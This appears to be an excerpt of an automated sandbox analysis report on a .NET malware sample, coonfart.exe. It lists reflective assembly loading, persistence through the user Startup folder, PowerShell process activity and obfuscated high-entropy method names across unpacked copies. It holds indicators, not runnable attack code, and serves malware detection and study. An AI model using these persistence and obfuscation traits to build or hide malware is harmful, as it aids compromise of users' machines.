Source: Runtime Broker.2.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: nJ7ntGzX47CKonow5A0vgp System.AppDomain.Load(byte[])
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp System.AppDomain.Load(byte[])
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 2_2_00007FFD9BAA00BD pushad ; iretd	2_2_00007FFD9BAA00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B9AD2A5 pushad ; iretd	6_2_00007FFD9B9AD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9BAC271C pushad ; retf	6_2_00007FFD9BAC2749
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9BAC26EC push eax; retf	6_2_00007FFD9BAC2719
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9BAC2644 push cs; retf	6_2_00007FFD9BAC26A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9BAC2634 push cs; retf	6_2_00007FFD9BAC26A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9BAC3544 pushfd ; retf	6_2_00007FFD9BAC3552
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9BB92316 push 8B485F92h; iretd	6_2_00007FFD9BB9231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD9B9BD2A5 pushad ; iretd	12_2_00007FFD9B9BD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD9BAD2B95 push cs; retf	12_2_00007FFD9BAD2BBA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD9BADC2C5 push ebx; iretd	12_2_00007FFD9BADC2DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD9BBA2316 push 8B485F91h; iretd	12_2_00007FFD9BBA231B
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 16_2_00007FFD9BAA00BD pushad ; iretd	16_2_00007FFD9BAA00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B9BD2A5 pushad ; iretd	17_2_00007FFD9B9BD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9BBA2316 push 8B485F91h; iretd	17_2_00007FFD9BBA231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFD9B9AD2A5 pushad ; iretd	19_2_00007FFD9B9AD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFD9BB92316 push 8B485F92h; iretd	19_2_00007FFD9BB9231B
Source: C:\Users\Public\Runtime Broker	Code function: 23_2_00007FFD9BAD00BD pushad ; iretd	23_2_00007FFD9BAD00C1

Source: coonfart.exe.0.dr, akkQj1sqFfSSBzoPzzcJHWUTImoPHvJQ5obC9Mw1.cs	High entropy of concatenated method names: 'pAJejPeYzjpeABmxWAkwbiTw1mqxCBmWmzTSrx83', '_87FcV7zG86E30YrE8gQLgID0Pl0Rr8rZkIxWtvsL', 'v3sUlDIQcXFjjp98fRg32WcEry4fbZasOGIybWnP', '_84epM09kzCj1ocmmfMHdDDJHEGRKiElEqqmhabpMi6LzJY6cDBf2Vbkr6y', 'zSua969pyTVqty23ApV0ANHgAW7QrIlnwrBgTIVyrLUw8dJssslp6p58Ip', 'FnKRcw4KPNme0yZtl5FELK4OdN5xLbjT4cXFE4pfT1hFgAfHDJiRgSzpze', 'pc6HzlGBo11QPwPRRFQ6QRxbYEtDamkRqvINDP0CDIsZilUCHP6In3fFyu', '_82lVQ2aRHE9MNikTPEUcVF5nnzk8A7t3NtGHH2Nf0ii0pbq8qjriMOP8Lc', 'M297JKFH2OaGT0qMJHXjz69qKR52Hx7lNLBlEbEdrsfaB58kZw6qofBuHF', 'wlTS5WXqG2faQnePm2hvP6ctocY7uCb3JbkGwtH52XHtazaW4XP0FdlC0L'
Source: coonfart.exe.0.dr, MvsynE2XwtVDEliLiQwo3c.cs	High entropy of concatenated method names: 'ueNuYTmXQ6K8bfOElL57OU0hCnclTgziBvANqcTK', 'CBchHZE3WXHDMIFIqc5B43k2dzUvj6Crf6lCXYmY', 'arDnoot9r0xRAqgQNBWzZpMYSPsK0BYlt3OLGZav', 'y1Mq1pDHA1XXZwh82mGxkp5en9MUWuAwUltF827V'
Source: coonfart.exe.0.dr, Os6S553ieUGpaR9GelWERs.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'xishLqBUDDHpndP3Olfre38kEdoMck7seFJ9DibN', 'VR1rAbrBcGLrzpyEucWvGZChYhBDvpfhYfawlIUD', '_5XqXp0gqv8hTSag2ajjAvaGP10dcEs9cMBc4zc14', 'sVRWWQMYpJATbzfdzYcUeieHPwx1YqtvldaTNZ1S'
Source: coonfart.exe.0.dr, 0GxKZuckCqDxUPkmOCW34U.cs	High entropy of concatenated method names: 'Bmmzjl1eEbAyvOphJ3NWd7', 'SLK2lnpJa9DqMcztIV7Z6j', '_22uK1rjvw8vloqfU5w5X1X', 'HGPRHHTrnxEJWFsE9csHF5', 'juIdeSwIMWFfiPQ4drAnun', 'x76vGPuzOxXExP3IjzRh70', 'oXrEMZEoYSSPQxUVd7T9f4', 'YAhT9MPl1SE2dXfuYVR2ky', '_3aN0qCK0cpEAsjD3NIfE6B', 'Ls06vQidZK1lwZ26PYDiWby9PIdinAxtZ5Xn3vyvhMsdo0JEs1NbBDIIpnMUVhviMfm9Ja8qGnggbdS6bsYIdp80SjTToFasH7'
Source: coonfart.exe.0.dr, md2ft4QQ054AZsx7gfxFKY.cs	High entropy of concatenated method names: '_7PQzntkIgqUgQsMoxHJZqq', 'jIodqW6ONadRjjz3WeYp6M', 'qtSeqTl4ziWJXqLgA8o84m', 'p4BSyG1dlTL4n7KrKy4hsK', '_6zemP3ZIvCqECvrqusVCsL', 'ZTCPpNcUr2O2bUdrJzCojp', 'LjEKFO7CGv9NGo1ZhOgdI8', 'xxlCP1ulPAwtc8MF4NhcGe', '_212MJufRbVPyH2jCu3oIzf', '_4Xw4OXNI1d1qSYQpD01Hae'
Source: coonfart.exe.0.dr, RdUutxlZeW6b75qg39GcLx.cs	High entropy of concatenated method names: 'hwfypxN1I0Xu9nUKDI004X', 'LdBuwBfcBv4NnPEz8T8X7a', 'QUPNKB1P89B0FKSjeuXNWi', 'VrcnhbileTMnFeAld50Ovp', 'oOmkJuahCWBHIZeomGYZ0j', 'MrBI43GMqy0STlo4hSLczL', 'G54CpebrTzzlzj2DjH8IAk', 'eg2HijXfe1zzrpLn995PLd', 'FOiY6e46MAf7yAyJMJ8LWX', 'qZXTahmEtqkIzSId28uLue'
Source: coonfart.exe.0.dr, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	High entropy of concatenated method names: 'smSCMyoMoDjr73Qxx8f7UbOP0VLwZbSmYOgGKdghi4wrWPRz1NrKCybK1egAf1LO0kChlRQ2F92NSFRuOCpiSRPp8VlolEkOOo', '_6Hz2tWriIwkMZKQolHgu9LsDb', 'VeUuCjc2n837zVct5vb35fJl6', 'wf71SGtTeYTCBhVM8b2w6WqzV', 'y9iqqkHxkE7su85s7hERtkyCo'
Source: coonfart.exe.0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	High entropy of concatenated method names: '_90W7Jaog83egtDjvo1o5CK', 'nJ7ntGzX47CKonow5A0vgp', 'O2xVHGv3U4E3w5rrfljzqj', 'g5eb3mckMWAVFx09ZDxluo', '_5urqIm7hHmmlwTDmBSd82J', 'k9TzoI18SmnxPyK0qnHODu', 'Vsy4NCzCRs6F6pxYXXb26i', 'gthzzVHmtJJWAXchBy7Eew', '_6mgXF19oU5LoB31TB9kHOT', 'ZX2dlDuEjxIkMalw7zmgSa'
Source: coonfart.exe.0.dr, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	High entropy of concatenated method names: 'XrADoq840cHVl6CXqxGMP0DbxEcYtW0vM95TENDS2IOaSzVWwn0isSymulrP7YLhY5VoRrOlqw6bfSMQqwHQSbHBLLAa1Ef4rj', 'uW5xitMio0iacA9UF293v0e3WSHWMxtjNbG5Skmmr5Y3a4vPEDfGReA1D8SpxwIlnIaZfcJPjqD5lCH5vmX1tQAZg8WE3CqsF8', '_1fEUqyLy3B2qErJ4vF2ufGQsyFZbqhsAXmP2lp5ihY4PRn6Fr6athamcEUT4cykdTIN7KUx7RVLdqj8gEhdDFceAusqoPoQCPN', 'KCfZCDt0yV2c1oxyjxvp05iKyEhWfwbC0VQiBUwv', 'U0mZo5C4qSvfxFexd5aj2RAP7gAvtaKlduVrGo9O', 'w08Zrv9021WUoVd5k7v1yyaT9vGJQgngBztfQu7b', 'tSIBHg4hj4rDCGP66cY8tcBz1mJoRFqNx3xRJGPi', 'cnfbJ0l5coNpDcFaVqH4KPJsqpdLrk05uVpzfD64', 'b4e5T9Vsn7sA5ATeitGY3FzI6KquCIXado8HeN1K', 'D5iotIuPr2IpnLKPVNJneO6ievNgVteI8jeNs20r'
Source: coonfart.exe.0.dr, s0bNe9DEmn4vM6ipvUKzuuWGMiwhF8jm87v9qNjX3mYDm1VmkjOjD8eeGbjtd4eSBRbW4zGyDC5noVPdSARrgeRtetwEDtLPGp.cs	High entropy of concatenated method names: '_71YpB3WsDwiwcdqJQiOqJdGj7Zw1RHRFqccIgLuBiFx0X0mM4fxj7hrEMdabxBbjWK1ivITzKWqxpl8wICA9xqwNMAAjqsbKO2', 'sKo3IOu6OR8xlJKpzp9u5pdeK2UPLOXwbESgXpfV4aZiBhumM671V4ZJphndrjx8FYIII9txkyx9oChoWBlh6LmFlPZmT0JSkC', 'yvQTB2l0n7nhS1uO1UutCbCEKE3ZcwfcdDWWdTALGNiXgkqftiGYl5qRhQd95DHTrxWCdDCiVMYTd3dol4I0pmixIoThT23For', 'GDtQGToK0Y4wmyHMNr9vfv3WNb1vUW4AnR8scvzya1lz5Rm0SyzQWktW0tLPYdljokNRiwRzDJSo5klWz4Urs9prPXFmSS1pM2', 'vcs1qe4kXrdFWmFUkIXXLc9UN', '_1qVZuxhxB0Ar77RDjrrnuqH9Q', 'veug0NdovoNJfg1r4S6tvzp8W', '_5cEFTHwaYLKV1qtVRrOzac4x2', 'L4snQdJyVo7IPSFxtdeGsdEfG', 'jlwh1WnUiLjO85TmaAu3Oa0eq'
Source: coonfart.exe.0.dr, 1IWwpmd4g6bNpXA7xoh7qb.cs	High entropy of concatenated method names: '_0PIz3RO6CEDuFNVFtXH6em', 'g7B0Wr7fmT6jx44gzQx05jS3S', 'KCkDLkj1fpfMKDGDHp4yIFbhm', 'O8lc7rnB3bHiE9eOBlf2tNoeJ', 'nJjyxDU7YUhFrLuBQXJZwWpcM'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, akkQj1sqFfSSBzoPzzcJHWUTImoPHvJQ5obC9Mw1.cs	High entropy of concatenated method names: 'pAJejPeYzjpeABmxWAkwbiTw1mqxCBmWmzTSrx83', '_87FcV7zG86E30YrE8gQLgID0Pl0Rr8rZkIxWtvsL', 'v3sUlDIQcXFjjp98fRg32WcEry4fbZasOGIybWnP', '_84epM09kzCj1ocmmfMHdDDJHEGRKiElEqqmhabpMi6LzJY6cDBf2Vbkr6y', 'zSua969pyTVqty23ApV0ANHgAW7QrIlnwrBgTIVyrLUw8dJssslp6p58Ip', 'FnKRcw4KPNme0yZtl5FELK4OdN5xLbjT4cXFE4pfT1hFgAfHDJiRgSzpze', 'pc6HzlGBo11QPwPRRFQ6QRxbYEtDamkRqvINDP0CDIsZilUCHP6In3fFyu', '_82lVQ2aRHE9MNikTPEUcVF5nnzk8A7t3NtGHH2Nf0ii0pbq8qjriMOP8Lc', 'M297JKFH2OaGT0qMJHXjz69qKR52Hx7lNLBlEbEdrsfaB58kZw6qofBuHF', 'wlTS5WXqG2faQnePm2hvP6ctocY7uCb3JbkGwtH52XHtazaW4XP0FdlC0L'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, MvsynE2XwtVDEliLiQwo3c.cs	High entropy of concatenated method names: 'ueNuYTmXQ6K8bfOElL57OU0hCnclTgziBvANqcTK', 'CBchHZE3WXHDMIFIqc5B43k2dzUvj6Crf6lCXYmY', 'arDnoot9r0xRAqgQNBWzZpMYSPsK0BYlt3OLGZav', 'y1Mq1pDHA1XXZwh82mGxkp5en9MUWuAwUltF827V'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, Os6S553ieUGpaR9GelWERs.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'xishLqBUDDHpndP3Olfre38kEdoMck7seFJ9DibN', 'VR1rAbrBcGLrzpyEucWvGZChYhBDvpfhYfawlIUD', '_5XqXp0gqv8hTSag2ajjAvaGP10dcEs9cMBc4zc14', 'sVRWWQMYpJATbzfdzYcUeieHPwx1YqtvldaTNZ1S'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, 0GxKZuckCqDxUPkmOCW34U.cs	High entropy of concatenated method names: 'Bmmzjl1eEbAyvOphJ3NWd7', 'SLK2lnpJa9DqMcztIV7Z6j', '_22uK1rjvw8vloqfU5w5X1X', 'HGPRHHTrnxEJWFsE9csHF5', 'juIdeSwIMWFfiPQ4drAnun', 'x76vGPuzOxXExP3IjzRh70', 'oXrEMZEoYSSPQxUVd7T9f4', 'YAhT9MPl1SE2dXfuYVR2ky', '_3aN0qCK0cpEAsjD3NIfE6B', 'Ls06vQidZK1lwZ26PYDiWby9PIdinAxtZ5Xn3vyvhMsdo0JEs1NbBDIIpnMUVhviMfm9Ja8qGnggbdS6bsYIdp80SjTToFasH7'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, md2ft4QQ054AZsx7gfxFKY.cs	High entropy of concatenated method names: '_7PQzntkIgqUgQsMoxHJZqq', 'jIodqW6ONadRjjz3WeYp6M', 'qtSeqTl4ziWJXqLgA8o84m', 'p4BSyG1dlTL4n7KrKy4hsK', '_6zemP3ZIvCqECvrqusVCsL', 'ZTCPpNcUr2O2bUdrJzCojp', 'LjEKFO7CGv9NGo1ZhOgdI8', 'xxlCP1ulPAwtc8MF4NhcGe', '_212MJufRbVPyH2jCu3oIzf', '_4Xw4OXNI1d1qSYQpD01Hae'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, RdUutxlZeW6b75qg39GcLx.cs	High entropy of concatenated method names: 'hwfypxN1I0Xu9nUKDI004X', 'LdBuwBfcBv4NnPEz8T8X7a', 'QUPNKB1P89B0FKSjeuXNWi', 'VrcnhbileTMnFeAld50Ovp', 'oOmkJuahCWBHIZeomGYZ0j', 'MrBI43GMqy0STlo4hSLczL', 'G54CpebrTzzlzj2DjH8IAk', 'eg2HijXfe1zzrpLn995PLd', 'FOiY6e46MAf7yAyJMJ8LWX', 'qZXTahmEtqkIzSId28uLue'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	High entropy of concatenated method names: 'smSCMyoMoDjr73Qxx8f7UbOP0VLwZbSmYOgGKdghi4wrWPRz1NrKCybK1egAf1LO0kChlRQ2F92NSFRuOCpiSRPp8VlolEkOOo', '_6Hz2tWriIwkMZKQolHgu9LsDb', 'VeUuCjc2n837zVct5vb35fJl6', 'wf71SGtTeYTCBhVM8b2w6WqzV', 'y9iqqkHxkE7su85s7hERtkyCo'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	High entropy of concatenated method names: '_90W7Jaog83egtDjvo1o5CK', 'nJ7ntGzX47CKonow5A0vgp', 'O2xVHGv3U4E3w5rrfljzqj', 'g5eb3mckMWAVFx09ZDxluo', '_5urqIm7hHmmlwTDmBSd82J', 'k9TzoI18SmnxPyK0qnHODu', 'Vsy4NCzCRs6F6pxYXXb26i', 'gthzzVHmtJJWAXchBy7Eew', '_6mgXF19oU5LoB31TB9kHOT', 'ZX2dlDuEjxIkMalw7zmgSa'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	High entropy of concatenated method names: 'XrADoq840cHVl6CXqxGMP0DbxEcYtW0vM95TENDS2IOaSzVWwn0isSymulrP7YLhY5VoRrOlqw6bfSMQqwHQSbHBLLAa1Ef4rj', 'uW5xitMio0iacA9UF293v0e3WSHWMxtjNbG5Skmmr5Y3a4vPEDfGReA1D8SpxwIlnIaZfcJPjqD5lCH5vmX1tQAZg8WE3CqsF8', '_1fEUqyLy3B2qErJ4vF2ufGQsyFZbqhsAXmP2lp5ihY4PRn6Fr6athamcEUT4cykdTIN7KUx7RVLdqj8gEhdDFceAusqoPoQCPN', 'KCfZCDt0yV2c1oxyjxvp05iKyEhWfwbC0VQiBUwv', 'U0mZo5C4qSvfxFexd5aj2RAP7gAvtaKlduVrGo9O', 'w08Zrv9021WUoVd5k7v1yyaT9vGJQgngBztfQu7b', 'tSIBHg4hj4rDCGP66cY8tcBz1mJoRFqNx3xRJGPi', 'cnfbJ0l5coNpDcFaVqH4KPJsqpdLrk05uVpzfD64', 'b4e5T9Vsn7sA5ATeitGY3FzI6KquCIXado8HeN1K', 'D5iotIuPr2IpnLKPVNJneO6ievNgVteI8jeNs20r'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, s0bNe9DEmn4vM6ipvUKzuuWGMiwhF8jm87v9qNjX3mYDm1VmkjOjD8eeGbjtd4eSBRbW4zGyDC5noVPdSARrgeRtetwEDtLPGp.cs	High entropy of concatenated method names: '_71YpB3WsDwiwcdqJQiOqJdGj7Zw1RHRFqccIgLuBiFx0X0mM4fxj7hrEMdabxBbjWK1ivITzKWqxpl8wICA9xqwNMAAjqsbKO2', 'sKo3IOu6OR8xlJKpzp9u5pdeK2UPLOXwbESgXpfV4aZiBhumM671V4ZJphndrjx8FYIII9txkyx9oChoWBlh6LmFlPZmT0JSkC', 'yvQTB2l0n7nhS1uO1UutCbCEKE3ZcwfcdDWWdTALGNiXgkqftiGYl5qRhQd95DHTrxWCdDCiVMYTd3dol4I0pmixIoThT23For', 'GDtQGToK0Y4wmyHMNr9vfv3WNb1vUW4AnR8scvzya1lz5Rm0SyzQWktW0tLPYdljokNRiwRzDJSo5klWz4Urs9prPXFmSS1pM2', 'vcs1qe4kXrdFWmFUkIXXLc9UN', '_1qVZuxhxB0Ar77RDjrrnuqH9Q', 'veug0NdovoNJfg1r4S6tvzp8W', '_5cEFTHwaYLKV1qtVRrOzac4x2', 'L4snQdJyVo7IPSFxtdeGsdEfG', 'jlwh1WnUiLjO85TmaAu3Oa0eq'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, 1IWwpmd4g6bNpXA7xoh7qb.cs	High entropy of concatenated method names: '_0PIz3RO6CEDuFNVFtXH6em', 'g7B0Wr7fmT6jx44gzQx05jS3S', 'KCkDLkj1fpfMKDGDHp4yIFbhm', 'O8lc7rnB3bHiE9eOBlf2tNoeJ', 'nJjyxDU7YUhFrLuBQXJZwWpcM'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, akkQj1sqFfSSBzoPzzcJHWUTImoPHvJQ5obC9Mw1.cs	High entropy of concatenated method names: 'pAJejPeYzjpeABmxWAkwbiTw1mqxCBmWmzTSrx83', '_87FcV7zG86E30YrE8gQLgID0Pl0Rr8rZkIxWtvsL', 'v3sUlDIQcXFjjp98fRg32WcEry4fbZasOGIybWnP', '_84epM09kzCj1ocmmfMHdDDJHEGRKiElEqqmhabpMi6LzJY6cDBf2Vbkr6y', 'zSua969pyTVqty23ApV0ANHgAW7QrIlnwrBgTIVyrLUw8dJssslp6p58Ip', 'FnKRcw4KPNme0yZtl5FELK4OdN5xLbjT4cXFE4pfT1hFgAfHDJiRgSzpze', 'pc6HzlGBo11QPwPRRFQ6QRxbYEtDamkRqvINDP0CDIsZilUCHP6In3fFyu', '_82lVQ2aRHE9MNikTPEUcVF5nnzk8A7t3NtGHH2Nf0ii0pbq8qjriMOP8Lc', 'M297JKFH2OaGT0qMJHXjz69qKR52Hx7lNLBlEbEdrsfaB58kZw6qofBuHF', 'wlTS5WXqG2faQnePm2hvP6ctocY7uCb3JbkGwtH52XHtazaW4XP0FdlC0L'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, MvsynE2XwtVDEliLiQwo3c.cs	High entropy of concatenated method names: 'ueNuYTmXQ6K8bfOElL57OU0hCnclTgziBvANqcTK', 'CBchHZE3WXHDMIFIqc5B43k2dzUvj6Crf6lCXYmY', 'arDnoot9r0xRAqgQNBWzZpMYSPsK0BYlt3OLGZav', 'y1Mq1pDHA1XXZwh82mGxkp5en9MUWuAwUltF827V'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, Os6S553ieUGpaR9GelWERs.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'xishLqBUDDHpndP3Olfre38kEdoMck7seFJ9DibN', 'VR1rAbrBcGLrzpyEucWvGZChYhBDvpfhYfawlIUD', '_5XqXp0gqv8hTSag2ajjAvaGP10dcEs9cMBc4zc14', 'sVRWWQMYpJATbzfdzYcUeieHPwx1YqtvldaTNZ1S'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, 0GxKZuckCqDxUPkmOCW34U.cs	High entropy of concatenated method names: 'Bmmzjl1eEbAyvOphJ3NWd7', 'SLK2lnpJa9DqMcztIV7Z6j', '_22uK1rjvw8vloqfU5w5X1X', 'HGPRHHTrnxEJWFsE9csHF5', 'juIdeSwIMWFfiPQ4drAnun', 'x76vGPuzOxXExP3IjzRh70', 'oXrEMZEoYSSPQxUVd7T9f4', 'YAhT9MPl1SE2dXfuYVR2ky', '_3aN0qCK0cpEAsjD3NIfE6B', 'Ls06vQidZK1lwZ26PYDiWby9PIdinAxtZ5Xn3vyvhMsdo0JEs1NbBDIIpnMUVhviMfm9Ja8qGnggbdS6bsYIdp80SjTToFasH7'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, md2ft4QQ054AZsx7gfxFKY.cs	High entropy of concatenated method names: '_7PQzntkIgqUgQsMoxHJZqq', 'jIodqW6ONadRjjz3WeYp6M', 'qtSeqTl4ziWJXqLgA8o84m', 'p4BSyG1dlTL4n7KrKy4hsK', '_6zemP3ZIvCqECvrqusVCsL', 'ZTCPpNcUr2O2bUdrJzCojp', 'LjEKFO7CGv9NGo1ZhOgdI8', 'xxlCP1ulPAwtc8MF4NhcGe', '_212MJufRbVPyH2jCu3oIzf', '_4Xw4OXNI1d1qSYQpD01Hae'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, RdUutxlZeW6b75qg39GcLx.cs	High entropy of concatenated method names: 'hwfypxN1I0Xu9nUKDI004X', 'LdBuwBfcBv4NnPEz8T8X7a', 'QUPNKB1P89B0FKSjeuXNWi', 'VrcnhbileTMnFeAld50Ovp', 'oOmkJuahCWBHIZeomGYZ0j', 'MrBI43GMqy0STlo4hSLczL', 'G54CpebrTzzlzj2DjH8IAk', 'eg2HijXfe1zzrpLn995PLd', 'FOiY6e46MAf7yAyJMJ8LWX', 'qZXTahmEtqkIzSId28uLue'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	High entropy of concatenated method names: 'smSCMyoMoDjr73Qxx8f7UbOP0VLwZbSmYOgGKdghi4wrWPRz1NrKCybK1egAf1LO0kChlRQ2F92NSFRuOCpiSRPp8VlolEkOOo', '_6Hz2tWriIwkMZKQolHgu9LsDb', 'VeUuCjc2n837zVct5vb35fJl6', 'wf71SGtTeYTCBhVM8b2w6WqzV', 'y9iqqkHxkE7su85s7hERtkyCo'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	High entropy of concatenated method names: '_90W7Jaog83egtDjvo1o5CK', 'nJ7ntGzX47CKonow5A0vgp', 'O2xVHGv3U4E3w5rrfljzqj', 'g5eb3mckMWAVFx09ZDxluo', '_5urqIm7hHmmlwTDmBSd82J', 'k9TzoI18SmnxPyK0qnHODu', 'Vsy4NCzCRs6F6pxYXXb26i', 'gthzzVHmtJJWAXchBy7Eew', '_6mgXF19oU5LoB31TB9kHOT', 'ZX2dlDuEjxIkMalw7zmgSa'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	High entropy of concatenated method names: 'XrADoq840cHVl6CXqxGMP0DbxEcYtW0vM95TENDS2IOaSzVWwn0isSymulrP7YLhY5VoRrOlqw6bfSMQqwHQSbHBLLAa1Ef4rj', 'uW5xitMio0iacA9UF293v0e3WSHWMxtjNbG5Skmmr5Y3a4vPEDfGReA1D8SpxwIlnIaZfcJPjqD5lCH5vmX1tQAZg8WE3CqsF8', '_1fEUqyLy3B2qErJ4vF2ufGQsyFZbqhsAXmP2lp5ihY4PRn6Fr6athamcEUT4cykdTIN7KUx7RVLdqj8gEhdDFceAusqoPoQCPN', 'KCfZCDt0yV2c1oxyjxvp05iKyEhWfwbC0VQiBUwv', 'U0mZo5C4qSvfxFexd5aj2RAP7gAvtaKlduVrGo9O', 'w08Zrv9021WUoVd5k7v1yyaT9vGJQgngBztfQu7b', 'tSIBHg4hj4rDCGP66cY8tcBz1mJoRFqNx3xRJGPi', 'cnfbJ0l5coNpDcFaVqH4KPJsqpdLrk05uVpzfD64', 'b4e5T9Vsn7sA5ATeitGY3FzI6KquCIXado8HeN1K', 'D5iotIuPr2IpnLKPVNJneO6ievNgVteI8jeNs20r'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, s0bNe9DEmn4vM6ipvUKzuuWGMiwhF8jm87v9qNjX3mYDm1VmkjOjD8eeGbjtd4eSBRbW4zGyDC5noVPdSARrgeRtetwEDtLPGp.cs	High entropy of concatenated method names: '_71YpB3WsDwiwcdqJQiOqJdGj7Zw1RHRFqccIgLuBiFx0X0mM4fxj7hrEMdabxBbjWK1ivITzKWqxpl8wICA9xqwNMAAjqsbKO2', 'sKo3IOu6OR8xlJKpzp9u5pdeK2UPLOXwbESgXpfV4aZiBhumM671V4ZJphndrjx8FYIII9txkyx9oChoWBlh6LmFlPZmT0JSkC', 'yvQTB2l0n7nhS1uO1UutCbCEKE3ZcwfcdDWWdTALGNiXgkqftiGYl5qRhQd95DHTrxWCdDCiVMYTd3dol4I0pmixIoThT23For', 'GDtQGToK0Y4wmyHMNr9vfv3WNb1vUW4AnR8scvzya1lz5Rm0SyzQWktW0tLPYdljokNRiwRzDJSo5klWz4Urs9prPXFmSS1pM2', 'vcs1qe4kXrdFWmFUkIXXLc9UN', '_1qVZuxhxB0Ar77RDjrrnuqH9Q', 'veug0NdovoNJfg1r4S6tvzp8W', '_5cEFTHwaYLKV1qtVRrOzac4x2', 'L4snQdJyVo7IPSFxtdeGsdEfG', 'jlwh1WnUiLjO85TmaAu3Oa0eq'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, 1IWwpmd4g6bNpXA7xoh7qb.cs	High entropy of concatenated method names: '_0PIz3RO6CEDuFNVFtXH6em', 'g7B0Wr7fmT6jx44gzQx05jS3S', 'KCkDLkj1fpfMKDGDHp4yIFbhm', 'O8lc7rnB3bHiE9eOBlf2tNoeJ', 'nJjyxDU7YUhFrLuBQXJZwWpcM'
